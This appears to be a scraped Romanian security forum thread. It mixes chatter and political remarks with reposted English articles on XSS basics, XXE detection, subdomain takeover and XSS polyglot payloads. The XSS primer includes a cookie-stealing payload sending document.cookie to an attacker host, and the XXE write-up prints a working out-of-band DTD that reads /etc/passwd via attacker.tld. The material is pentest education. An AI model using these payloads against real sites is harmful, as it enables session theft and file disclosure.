Zile de nervi, insistente Prin cine face platiile facebook ?

https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks

(facepalm) postul asta e la troll, chiar credeai ca tipul ala a gasit xss in facebook ? :)))))))))))

Lol, chiar credeam ca tipu a facut public un XSS in facebook. Mersi de elucidare Sherlock

XSS 101 1. What is XSS? Cross-site scripting (XSS) is both the name of the most common vulnerability in web applications and the exploitation method performed against it. XSS attacks abuse the dynamic way websites interact with their clients, the browsers. It makes possible, for an attacker, to control the victim’s browser and his/her interaction with a given vulnerable website. To display back content provided or controlled by an user, like an URL parameter or an input field, a flawed application opens the door to manipulation of this content. This manipulation, generically called injection, is the XSS attack. Fig 1. Classic XSS popup. Browsers display content using a mix of HTML (basically a text formatting language) and a programming language called javascript. Among other things, javascript is responsible for making things run in response to events in the context of an application. Another window opening when a page loads, the drag and drop of elements of the page and any changes made to the it on the fly (without the need to reload it), for example, are things done by javascript. Javascript code comes between the HTML tags, <script> and </script> (the opening and closing ones, respectively) or in the form of an external include by means of the “src” (source) attribute of this same tag. In this way, libraries (reusable pieces of code) can be added to the current page and executed by browser in that context. So when an attacker is able to inject this pair of tags into a page, any javascript code can be executed if there’s no filter in place (which is usually the vast majority of cases). Because anything an user in a browser can do also can be done by javascript, an attacker has total control over it. Javascript can also appears in common HTML elements, the regular tags. By means of event handlers inside them, like “onload” (when an page element is loaded by browser) or “onmouseover” (when a mouse pointer hovers over something), javascript code can also be executed increasing considerably the numbers of vectors for an XSS attack. Types of XSS Cross-site scripting can occur in the context of an application or not. Out of the context of an application is very rare but more dangerous and it will not be covered here. Focusing on the application, XSS can be caused by server side code (code sent by web server) or client side code (code processed by browser from code sent by web server). Code sent by web server is the source code. It is processed by browser, with the help of the javascript engine, to create the elements of the document in a programmatic manner. This is called DOM (Document Object Model) and it’s generated as soon as the source code arrives. So we have source-based and DOM-based types of XSS in a context of an application. Both have the following execution types. Source-based: Reflected Stored DOM-based: Reflected Stored When the website or application just reflects back content maliciously manipulated by user (usually in the URL), we have a reflected XSS attack. This reflection, as we saw, affects the way browsers display the page and how they process things and behave. Take the following PHP code: $username = $_GET[‘user’]; echo “<h1>Hello, ” . $username . “!</h1>”; Which would display the user name taken from URL like http://mydomain.com/hello.php?user=John In source code, it would be: <h1>Hello, John!</h1> Fig. 2 – Example of parameter value reflection. So, if an attacker use the URL “http://mydomain.com/hello.php?user=<script>alert(1)</script>” he/she will be able to make the browser generate the following source code: <h1>Hello, <script>alert(1)</script>!</h1> Triggering the classic javascript alert box. Fig. 3 – The XSS being triggered. When the website or application stores user input in a database or a file to display it later, like a field in a profile or a comment in a forum, the resulting attack is called persistent or stored XSS. Every user that sees this stored content is a potential victim. While in this last attack, an user just needs to open or navigate to an infected page to be attacked, in the reflected one an user usually must click on attacker’s link, which contains what we call vector or payload, the code used for the XSS attack. Although seeming less dangerous than the stored version, a reflected XSS can also be invisibly embedded into any other website and executes from another browser tab or window in the context of the target application. XSS Basic Examples Usually, for a proof of concept (PoC) of an XSS attack exploring source-based flaws, security testers use one the following code. 1. With <script> tag <script>alert(1)</script> or <script src=//HOST/SCRIPT></script> With HOST being a domain or IP address controlled by tester and SCRIPT being a script with alert(1) as content, like in: <script src=//14.rs></script> 2. With regular HTML tags 2.1 Event-based <TAG EVENT=alert(1)> With TAG being any HTML or XML tag and EVENT being a supported event handler like: <body onload=alert(1)> <img src=1 onerror=alert(1)> <svg onload=alert(1)> <x onmouseover=alert(1)> 2.2 Resource-based <TAG RESOURCE=javascript:alert(1)> With TAG being a proper HTML tag that supports a RESOURCE like: <iframe src=javascript:alert(1)> <object data=javascript:alert(1)> All these make a window pop-up appears with the number one inside. Although useful to show the executing of javascript and then the possibility of hooking the browser for control, it’s better to prove that execution in the context of the application. For this, “alert(1)” is changed to “alert(document.domain)”. Example: <script>alert(document.domain)</script> These are just to prove the vulnerability; for attacks in the wild, a victim of an XSS attack usually will not be able to see anything while his/her browser will perform the attacker’s desired actions. 2. What Can be Done With XSS? These are the main actions that can be performed by an attacker when exploiting an XSS flaw. 2.1. Steal an user session on the vulnerable website (including admins) Browsers use a small text file to store locally important data about a given website. This file contains what we call cookies, pairs of variable and value that have some meaning for the application that sent them to browser. Cookies are used to identify a person after he logged into an application, so server has no need to ask for credentials again every time an user request a resource. While cookies are valid (they expire after a certain time), an user session is active in the application. If these valid cookies are stolen, the thief can impersonate that user and interact with application in the same way the real user does, without even knowing his password. This gives access to all personal data stored about an user, like his telephone number, home address and even his/her credit card details in an e-commerce website, for example. For website administrators (admins), an XSS attack can lead to takeover of his/her website and even the machine where it is hosted. Attack example: <svg onload=fetch(‘//HOST/?cookie=’+document.cookie)> Where HOST is a domain or IP address controlled by attacker. 2.2. Capture the keys pressed by the user By being able to capture what an user types in form fields, like the ones for login (username and password), an attacker can also compromise an user account in a given website. 2.3. Deface the page, serving any type of content Users can be tricked into thinking that visited website was hacked or it’s not functional, which can lead to panic or the impossibility to perform actions in the application like buying an item. Attack example: <svg onload=”document.body.innerHTML='<img src=//HOST/IMAGE>'”> Where HOST is a domain or IP address controlled by attacker and IMAGE is a full screen image with a “Hacked by” message, for example. 2.4. Trick the user into giving his/her credentials by means of a fake HTML form With the ability to serve any content, an attacker can convince an user to enter or reenter his/her credentials in the application, but this time sending them to an attacker. 2.5. Crash the browser (local denial of service) Very rare use, but possible. An attacker may want to keep away a certain rival in an auction, for example, by making his/her browser unresponsive. 2.6. Force download of files It’s straightforward to make user’s browser download any file with XSS, but not necessarily executing it, which would give access to user machine. Unfortunately, due to the fact that an attacker has control over several other aspects of the trusted website, seems not so difficult to also trick the user into open it. Attack Example: <a href=//HOST/FILE download=FILENAME>Download</a> Where HOST is a domain or IP address controlled by attacker, FILE is the file attacker want the victim to download and FILENAME is the name of the file in victim’s machine (user can be forced to download an executable file while saving it as an image, for example). 2.7. Redirect user’s browser to another website where his/her machine can be compromised by memory exploits Again, with the aim to takeover the user machine, an attacker can redirect the browser invisibly to another web address where another prepared application will try to break the browser barrier to access the user operating system (which would lead to compromise). If user has an outdated or vulnerable browser, attacker has great chances of success. Attack Example: <iframe src=//HOST/ style=display:none></iframe> Where is a domain or IP address controlled by attacker. Sursa :

https://pbs.twimg.com/media/C7yEwJVWsAAAI7Z.jpg:large

Mai am si eu un invite in caz de ceva : https://www.elearnsecurity.com/affiliate/redeem SIH-BRO

Ti-am pus si sursa copilu' .

In this article I present some thoughts about generic detection of XML eXternal Entity (XXE) vulnerabilities during manual pentests supplemented with some level of automated tests. The ideas in this blog post (derived from experiences of several typical and untypical XXE detections during blackbox pentests) can easily be transformed into a generic approach to fit into web vulnerability scanners and their extensions. This is done by demonstrating an example of where service endpoints that are used in a non-XML fashion can eventually be accessed with XML as input format too, opening the attack surface for XXE attacks. At the time of writing this article I've started to develop a Burp Extension ("Generic XXE Detector") and will eventually also transform it into a ZAP extension, letting this kind of detection approach make its way into these scanners - if I find the time to complete that. XXE detection in service endpoints During blackbox pentesting one often gets in front of some service endpoints (mostly REST based ones used from within single-page apps in browsers). These RESTful endpoints often offer JSON as transport format, but many server-side development frameworks (like JAX-RS for Java based RESTful services) make it very easy for developers to offer also an XML based data exchange format for input and/or output out-of-the-box. If such alternative formats exist, they can easily be triggered using proper Content-Type request header values (like text/xml or application/xml). So the challenge is to find these endpoints which also accept XML as input format, even though the client (webpage) only uses JSON or direct path- or query-params to access the service. To scale this from a manual pentesting trick into a way of automation, the tool to scan for this needs a generic XXE detection approach, which can easily be applied to every URL the active scanner sees in its scope during a pentest. In one very interesting case of an XXE finding inside a Java based service endpoint (during a blackbox pentest) I came across a service endpoint that only had path- and query-params as input source and responded with JSON. Basically it was even a simple GET based service (no POST there). So this didn't really look much like "let's try some XXE Kung-Fu here...". Especially the tools including Burp didn't find any XXE at this spot when actively scanning it (even with thorough scanning configured). But after several manual tries, I managed to squeeze an XXE out of it, since it indeed was a REST service which also accepted XML out-of-the-box. I had to apply several tricks though, in order to get the XXE to work: I tried to convert the request from a GET to a POST in order to also send XML as the request body. Unfortunately POST was not accepted (as the service was only mapped to GET), so I had to stick to GET requests. I removed the query-params as well as path-params from the request URL in order to not let these get picked up by the service. As this was a blackbox pentest, I can only assume that removing the query-params led towards a mode of the service endpoint accepting the input also via other formats (i.e. when automatically mapped from XML input for example). Accessing the service without the used path- and query-params resulted in an error message (no input data available). Even though only GET could be used, I then added the Content-Type: application/xml request header and some non-conforming invalid XML as the request body: This was rewarded with an XML error message, showing that some kind of parsing process picked up the body payload of the GET request, i.e. making it an interesting target to investigate further. Adding the path- and query-params back to the request resulted in a business error message, so that the exploit seems to require to remove them, as they might take precedence over the XML body otherwise. As I then had a way of letting the server parse my XML and received at least replies with some technical error messages from the parser, I tried to use the XXE to exfiltrate some data (like /etc/passwd or just listing of base directory /): As the expected XML format for this kind of service call was not known to me (blackbox assessment), I had to use a more generic approach, which works even without placing the entity reference in the proper XML element. Also (as tested afterwards) when the server got the XML as expected, it didn't return any dynamic response, so only the technical error was echoed back. Of course the great out-of-band (OOB) exfiltration technique by T.Yunusov and A.Osipov would work as a generic approach to exfiltrate content in such a scenario. But since (at least for current Java environments) this kind of URL-based OOB exfiltration only allowed to exfiltrate contents of files consisting of only one line (as CRLFs break the URL to the attacker's server), I managed to combine it with the technical error message the server replied and read the data from there: The idea is to use the trick of passing the data carrying parameter entity itself into another file:/// entity in order to trigger a file-not-found exception on the second file access with the content of the first file as the name of the second file, which was thankfully echoed back completely from the server as a file-not-found exception (so pure OOB exfiltration wasn't required here): Attacker's DTD part applying a file-not-found exception echo trick (hosted on attacker's server at http://attacker.tld/dtd-part): <!ENTITY % three SYSTEM "file:///etc/passwd"> <!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>"> Request (exploiting the XXE like in the regular OOB technique by Yunusov & Osipov): GET /service/ HTTP/1.1 Host: example.com:443 Content-Type: application/xml Content-Length: 161 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" > %one; %two; %four; ]> Response (delivering the data as file-not-found error message): HTTP/1.1 400 Bad Request Server: Apache-Coyote/1.1 Content-Type: text/html Content-Length: 1851 Connection: close javax.xml.bind.UnmarshalException - with linked exception: [java.io.FileNotFoundException: /root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin ... ... ... ... ... ... ... ... ... apache:x:54:54:Apache:/var/www:/sbin/nologin (No such file or directory)] Using this file-not-found exception echo trick to read the data not only solved the "one line only" exfiltration problem, it also lifted some restrictions that existed with XXE exploitations when used directly inside the XML elements: Contents of files that contain XML special meta chars (like < or >) would break the XML structure. This is no longer a problem with the above mentioned trick. After that all worked pretty well, I discovered that Ivan Novikov has recently blogged about some pure OOB techniques that even exfiltrate data under Java 1.7+ using the ftp:// scheme and a customized FTP server. This would have worked in the above mentioned scenario as well - even when the server does not return technical error messages, as it is a pure OOB exfiltration trick. As a small side note: This file-not-found exception echo trick might also be used as an XSS in some cases by trying to echo <script>alert(1)</script> as the filename. Often these technical error messages might not be properly escaped when echoed back, compared to situations where non-error-messages originating from regular XML element input will be reflected. But this XSS is rather difficult to exploit in real scenarios, since it would not be easy to trigger the desired request from a victim's browser – if not even impossible depending on the http method (in this example a strange GET with request body). Automating this as a scanning approach Finding such an XXE vulnerability in a service endpoint using only manual pentesting tricks (as the scanners didn't detect it) made me think of a generic approach that is capable of detecting such a vulnerability automatically. Basically the scanning technique should try this on every (in-scope) request it sees, even when the request in question does not contain any XML data (as in the scenario of the RESTful service above that used mainly JSON). So here are the ideas I came up with (which I will also prototype as a Burp and/or ZAP extension soon). The scanner should perform the following steps on every request it is allowed to scan actively. This should be done in addition to any regular XXE detections the scanner already has in place. The following technique is just intended to detect scenarios like the above mentioned: Issue the request with original path- and/or query-params and with the http POST method as well as its original http method (even GET) and place a generic DTD based payload in the request body that directly references the parameter entity, like the following: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "file:///some-non-existing.file" > %xxe; ]>. Don't forget to add the Content-Type: application/xml header to the request (also try with text/xml as well). If the response contains an error like the following (effectively echoing the filename back in some kind of file-not-found message), flag it as potential XXE: javax.xml.bind.UnmarshalException - with linked exception: [java.io.FileNotFoundException: /some-non-existing.file (No such file or directory)] You can also compare the response content of the previous step of accessing a non-existing file with accessing a valid existing file like /etc/passwd. This might catch some differences between the error responses of non-existing files vs. existing files that do not contain valid content to place inside the DTD. If it is also possible to echo in the file-not-found exception message some <script>alert(1)</script> as the filename, flag it as XSS too, but one that is difficult to exploit (and depending on the http method required eventually impossible to exploit). If the steps above didn't trigger an XXE condition, try to remove the original request's query-params and try the above steps again. Finally try to strip each path-param as well (just in case the service is picking this up also and then does not try to access input from the XML body instead) and retry step one. If the steps above didn't trigger an XXE condition, try to use the well-known OOB techniques (see the referenced links above for more details regarding these cool tricks): Use a payload like the following (still having the Content-Type header set to application/xml): <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM"http://attacker.tld/xxe/ReqNo" > %xxe; ]>, where ReqNo is replaced by a unique number for every request scanned. This unique number is required (when parsing the attacker's webserver logs) to correlate log entries with the scanned requests that should then be flagged as XXE candidates. The best results would be gained if the scanner offers some kind of drop-in where (at the end of the pentesting assignment) the observed webserver logs (of the attacker's webserver) can be given to the scanning engine for checking against the issued OOB request numbers for matches. If the steps above didn't trigger an XXE condition (eventually because the server cannot access the attacker's webserver), try to use established DNS-based OOB exfiltration techniques, where part of the domain name contains the XXE request number ReqNo from the previous step, like in the following payload: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM"http://ReqNo.xxe.attacker.tld" > %xxe; ]>. That way at least the DNS resolution to the attacker's domain via its DNS server might be used to trigger the XXE match when after the pentest the logs of the DNS server are parsed by the scanner to correlate them with the scanned requests. If the steps above didn't trigger an XXE condition, we have to go completely blind only on sidechannels like timing measurements: This could be done by checking various internally reachable ports while measuring the response time of the payload <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://127.0.0.1:80" > %xxe; ]> versus the response time of <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://127.0.0.1:9876" > %xxe; ]> Similar checks can be performed with file:/// URLs by accessing small vs. big files. When being a risky scanner, you can try to measure the increase in response time when accessing /dev/zero as the file (eventually killing the thread on the server). Also a risky scanner can try to measure the processing time of nested (non-external) expansions like in the "billion laughs attack". Note that in the above scenarios the concrete XML format does not need to be known to the scanner, so it can easily apply this scanning technique on requests even when they haven't used any XML during passive observations. All XML payloads are completely self-contained within the DTD section. The idea is to issue this kind of scan on every request to automatically identify places where service endpoints or alike also offer to be accessed using XML, as is the case with some RESTful development frameworks. Some of the XML DTD payloads above (those using the OOB requests to detect XXE either by inspecting the attacker's webserver logs or measuring the timing differences) can even be shortened to a pure external DTD approach like this: <!DOCTYPE test SYSTEM "http://attacker.tld/xxe/ReqNo"> or <!DOCTYPE test SYSTEM "file:///dev/zero">. But the longer tests presented above give more confidence to the XXE finding, since the shorter version only validates that external DTDs and not entities can be loaded. Conclusion As a Pentester Watch out for any service-like endpoints in the application to pentest and try to force them to accept XML, even when the usage of these endpoints from within the application utilizes other kinds of input formats (like query- or path-params or JSON post bodies). In a lucky case where the endpoint is also configured to accept XML, try to further exploit this as an XXE condition. As a Scanner Vendor Try to incorporate ideas like the steps presented in this article into your scanning engines augmenting them with automated parsing of log files to ease generic XXE detection with OOB techniques, even when scanning large attack surfaces (and make the attacker's exfiltration URL configurable). Source :

It’s been about a year or more since I’d first heard about the term “subdomain takeover”. At the time, I was working through the triage of the first submissions of this type to our bug bounty program and I came to the realization that this wasn’t going to be the last I was going to see of this vulnerability class. It’s one of those types of vulnerabilities that is brought about by circumstances that inherently make it easy to fall into and its difficult to detect when you’re vulnerable in any sort of predictable way because detecting cases is often vendor dependant. Whenever you see these patterns with vulnerabilities, they tend to stick around for a long time and you can never really fully shake them because it’s born from the natural chaos of how things work which gives them a much longer tail than your typical vulnerability. In this post, I would like to reiterate how important and likely prolific this vulnerability is and will continue to be for some time. I even went so far as referring to “subdomain takeover as the new XSS” when describing it to my bug bounty peers when we first started seeing these roll in. Now, I could be overstating a bit and it will be hard to overcome the impact of XSS vulnerabilities on the Internet, but if you keep an eye on HackerOne bounties, you might also notice the recent uptick in subdomain takeovers as independant security researchers are catching on to this attack vector and realizing that subdomain providers and those that use them don’t have a lot of good options right now. How does it work? The basic premise that makes this vulnerability possible is when you have a shared hosting provider that doesn’t explicitly validate the subdomain (or VHOST) claiming process and an attacker claims your domain as their own without your approval. Let’s walk through a simple example to help flesh this all out. Let’s say you own the domain “example.com” and you want to host your blog (“blog.example.com”) on a free hosting provider: These are the steps you might follow to make this all happen… 1.Buy the domain (you might have already done this) 2. Setup your authoritative DNS servers (this might be setup for you, or you might have your own DNS servers) 3.Create an DNS record to point “blog.example.com” to free hosting provider server After a little time to allow DNS to propagate and claiming that VHOST in the free hosting providers admin console, you can visit “http://blog.example.com” and see your blog in all it’s glory. If we take a look at this from an attacker perspective, you need to ask yourself, how did free hosting provider verify that the VHOST I provided is actually owned by me? The answer is, they didn’t. This could mean that if someone was quicker than you in the claiming process they could beat you to the punch and claim your domain without your approval. There are also cases where shared hosting providers allow the last person to claim the VHOST to assume control of the domain, in these cases you should ask your provider to fix this issue, or look for another provider to avoid chasing your tail forever. Both of these cases on the surface can seem absurd, but I can tell you with first hand experience they can and do happen. What shared hosting providers are affected by subdomain takeovers? Put simply, most shared hosting providers are affected by this type of vulnerability if they fail to put controls around VHOST claiming to ensure the claimer is authorized to claim (Examples: Heroku, Github Pages, SurveyGizmo, etc.). If you are using a shared hosting provider for really any web services, there is a high chance that that provider is succeptible to this or at minimum doesn’t do VHOST verifcation in a controlled way and leaves windows for this to exploited if mismanaged. I will also say that if the shared hosting provider also allows you to install SSL certificates (especially wild card certs), this can really up the ante for potential impact scenarios. How can shared hosting providers prevent subdomain takeovers? Now, you might ask, is this even technical possible for them to do? Of course it is, the best example that I can think of that closely demonstrates this pattern (and perhaps in more than one way) is that of LetsEncrypt and how they validate that the end user requesting a certificate is truly authoritative for that domain, which leverages the Automatic Certificate Management Environment (ACME) protocol to prove ownership. If we look specifically at the ACME specification, it calls out a number of mechanisms to perform ownership/control validation… Put a CA-provided challenge at a specific place on the web server. Put a CA-provided challenge at a DNS location corresponding to the target domain. Receive CA challenge at a (hopefully) administrator-controlled e-mail address corresponding to the domain and then respond to it on the CA’s web page. If we look at these options, we might realize that the first one might be problematic because it relies on the web server already serving content, which might not work in VHOST claiming scenarios, but it would seem the second two are viable if we do some finding and replacing of the challenge provider and validator… Put a shared-hosting-provider-provided challenge at a DNS location corresponding to the target domain. Receive shared-hosting-provider-provided at a (hopefully) administrator-controlled e-mail address corresponding to the domain and then respond to it on the shared-hosting-provider’s administration page. How can you better protect yourself from subdomain takeovers? Well, the first thing you can do is maintain a list of all the web services you host with shared hosting providers. Depending on the complexity and breadth of your organization/setup this could be a rather simple task or a daunting one. Once you have this list, you also need to maintain it and add/remove vendors from the list as services are created/transitioned/deprecated. When doing so, you must be very sure to rigorously manage the DNS entries that point to these services because a dangling DNS entry pointed as a service provider where you’re not claiming the domain is a recipe for getting tripped up on a subdomain takeover. From an automation perspective, you might also be able to take these known list of providers and profile the behavior that each vendor demonstrates when the domain is unclaimed (usually a 403/404 error of some type, but not always) and then create an escalation internally to trigger some human action. In cases where your service provider list is rather finite this is a good stategy, but in cases where your organization is decentralized, this can be a harder task to manage. In any case, these actions are IMO a stop gap until shared hosting providers evolve enough to solve the claiming problem within their specific implementation. Another, and maybe this isn’t always an obvious option, is to start applying pressure on the shared hosting providers we use to ensure that they have controls in place to ensure that domain claiming can only be done by authorized claimers. This could be something that could easily be added to a vendor questionaire to start socializing the explicit need for service providers to address this issue. Other ways to skin this cat? I’ll be the first one to say that I don’t consider myself the source of truth and wisdom for anything. I’m merely sharing my thoughts on this subject openly to help others understand and perhaps get other like-minded folks contributing to the discussion so we can better solve this problem for the community at large. If you have ideas, email me and let me know what you think. If it seems like a good strategy, I’d be happy to update this post to reflect that shared knowledge. Source :

:))))))))))))))))

Nu fii rasist Probabil tatal tau este suparat pe vorbele tale.

Asta e cel mai trist.

Bun venit Dragnea.. AHAHAHAHAH LOL pacat ca hotarasc soarta tarii oamenii care mai au 2 ani de trait hahhha

Acum chiar ai ce alege Sa ramana guvernu actual, e foarte ok Cel putin premierul. Orice e mai ok decat PSD.

Daca mergem pe ideea ca votul nostru nu conteaza, cineva tot va vota, chiar vreti ca cineva sa voteze pentru voi ? Ideea este sa alegeti raul mai mic, sau sa experimentati alta clasa politica

That title is in fact a tongue twister, but it helps to describe this post, which will take a look at XSS polyglot payloads. For the newcomers: dafuq is a polyglot? Now since you’re done with reading the first paragraph of that article, let's dive into XSS vectors with the motto "One payload to rule them all." This post will assume the reader knows the basics of what XSS is, and how to find & exploit it. If you don’t, OWASP’s XSS article is a great resource to brush up on. Knowledge about HTML contexts is also required to be able to follow the article. Contexts, Contexts, Contexts! When testing for XSS, the injected payload can land into many different places or HTML contexts. Depending on the landing space, different escape characters are required to make an XSS successful. There are XSS attack vectors that try to reach as many contexts as possible in order to be most effective. Those types of attack vectors are called XSS polyglots. There are quite a few contexts with different scenarios that each require a special payload: HTML element: <p> injection </p> HTML attribute value: <p class="injection"></p> HTML attribute name: <p injection="myid123"></p> HTML comment: <!-- injection --> Style element or attribute: <style>injection</style> <p style="injection"></p> Javascript: <script> var a = "injection"; </script> <script> var b = ‘injection’; </script> URL: <a href="injection">click</a> This list is not complete as there are more configurations possible such as: injection landing in html attributes with single quotes or no quotes injection landing in Javascript context without quotes nested contexts (URL in Javascript, URL in CSS) etc. However, for most real world scenarios, covering the first list will be enough to find most XSS while staying within the character limits that are often present. XSS Polyglot Anatomy Let's start with the simplest example where the XSS payload lands in the normal HTML Element context: <p> Attack_String_Here </p> Most XSS payloads will work in this example and succeed (for example <img src=x onerror=alert(1)>)… nothing special. Looking at another example, this time the XSS payloads land on a different context, namely the HTML Attributecontext: <img src="Attack_String_Here"> For this context, a simple payload like the following would result in XSS: x" onerror="alert(1) Both above payloads are specific to the context they’re attacking, and will not work in the other. This is due to the context nature, which requires specific characters to escape it. In order to be time effective and test both contexts at once, a polyglot XSS payload is required: "><script>alert(1)</script><p id=" The payload hits both contexts due to its clever configuration. For the HTML Element context, the <script>alert(1)</script> will result in Javascript execution while the characters in the beginning and end are ignored (Browser rendering engines have lenient HTML parsers and try to parse as best as they can. Read more here.) When the payload lands in the HTML Attribute context, the characters to the beginning (">) will close the first tag, and allow the <script>alert(1)</script> to continue with Javascript execution. An additional <p id=" is used to well-form the remaining html, however that is not needed due to lax browser parsing as mentioned before. Another polyglot payload that would work for the contexts above is the following: <iframe onload=alert(1)>" onerror="alert(1); This payload still works fine in the HTML Element context (provided angle brackets aren’t encoded), but also works in the HTML Attribute context with a scenario where angle brackets are correctly encoded (but quotes aren’t!). The output would look like this: <img src="&lt;iframe onload=alert(1)&gt;" onerror="alert(2);"> As you can see, the angle brackets were properly encoded but the quotes weren’t. This allowed the polyglot payload to escape from the image source attribute, and add another (onerror) attribute to allow for javascript execution. This is a good example of how useful XSS polyglot payloads are, as they allow testers to catch all of these edge cases at once. We will now build a more complex XSS polyglot payload that will hit all of the contexts mentioned earlier. As a reminder, those contexts were: URL, HTML Element, HTML Attribute name, HTML Attribute value, HTML Comment, Style and Javascript contexts. Because of the unique requirement of the URL context to have the payload start with "javascript:" we will meet that requirement first. So we have the following as payload: javascript:alert(1); Next we will make the payload work in the HTML Attribute context, by adding the following: javascript:alert(1);" onclick=alert(1);// We added a quote, which is needed to escape the HTML Attribute context, added a space and javascript execution. You would think that this would work well (and it does), however the same payload works for the HTML Attribute context when injecting in the attribute name. As crazy as it may seem, the browser will actually parse the following and execute javascript: <p alert(1);" onclick=alert(1);//="myid123">click_me</p> While the payload above breaks a multitude of HTML rules, the browser will look past all of that and try to render what it assumes the developer wanted to achieve. It’s even more curious making the existing payload work for the Javascript context. All you need to do is to add a semicolon after the first quote: javascript:alert(1);"; onclick=alert(1);// With the added semicolon, this payload will now work in the Javascript context with an injection such as: var abc="Injection_here"; While the javascript rendering engine is stricter than the HTML one, it will execute the payload above if injected into a quoted javascript variable simply because it will result in valid javascript code. Back to our payload and the remaining contexts... We will add the same structure used in HTML Attribute and Javascript context for single quotes. After that’s added, the payload looks like this: javascript:alert(1);"; onclick=alert(1);// '; onclick=alert(1);// This takes care of instances when HTML Attributes or Javascript strings use single quotes. With that, we already have 5 contexts that our polyglot XSS Payload can trigger. Additional quick wins for HTML Comment, Style, and the normal HTML Element contexts can be achieved by simply closing the initial part of the context and executing javascript: javascript:alert(1);"; onclick=alert(1);// '; onclick=alert(1);//--></style><button onclick=alert(1);> As you can see, a --> was added to close the HTML Comment context, and a </style> was added to close the style tag. Then a simple XSS payload for triggering javascript gives us another three for a total of eight contexts triggered. A final addition would be a </script> tag before the button tag for cases when the XSS payloads land within a javascript string and single/double quotes are properly encoded. This works because the HTML parser will see the closing </script> tag and end the script part of the html, regardless of whether or not that closing script tag was within a javascript string (HTML doesn’t even speak javascript!). So our final payload looks like the following: javascript:alert(1);"; onclick=alert(1);// '; onclick=alert(1);//--></style></script><button onclick=alert(1);> You can test the payload by pasting it into any of the contexts and clicking on the "click_me"s in the following jsfiddle: https://jsfiddle.net/w5ev7bzn/. (Replace "injection" with the payload.) XSS Polyglots in the wild There are many good examples of XSS Polyglot payloads by known bug hunters. Take Mathias Karlsson’s example from his excellent talk at Hackpra that can hit 7 contexts and stays very well under most length limits imposed on xss-able fields. " onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)// Jason Haddix presented XSS Polyglot payloads as part of his How to Shot Web talk at Defcon in 2015, and later the Bug Hunter’s Methodology. He also maintains the SecLists project, which has a decent list of XSS Polyglots. Of course XSS Polyglots wouldn’t be cool if there wasn’t a challenge around who’s got the best one. At http://polyglot.innerht.ml/ you can find a challenge for payloads that can hit up to 16 different contexts. The scoreboard shows the winning payloads based on number of contexts hit and length of the payload. I hope you found this useful. To comment on this post or offer your own polyglot tips and resources, continue the conversation on our forum. Happy Hunting! Source : Bugcrowd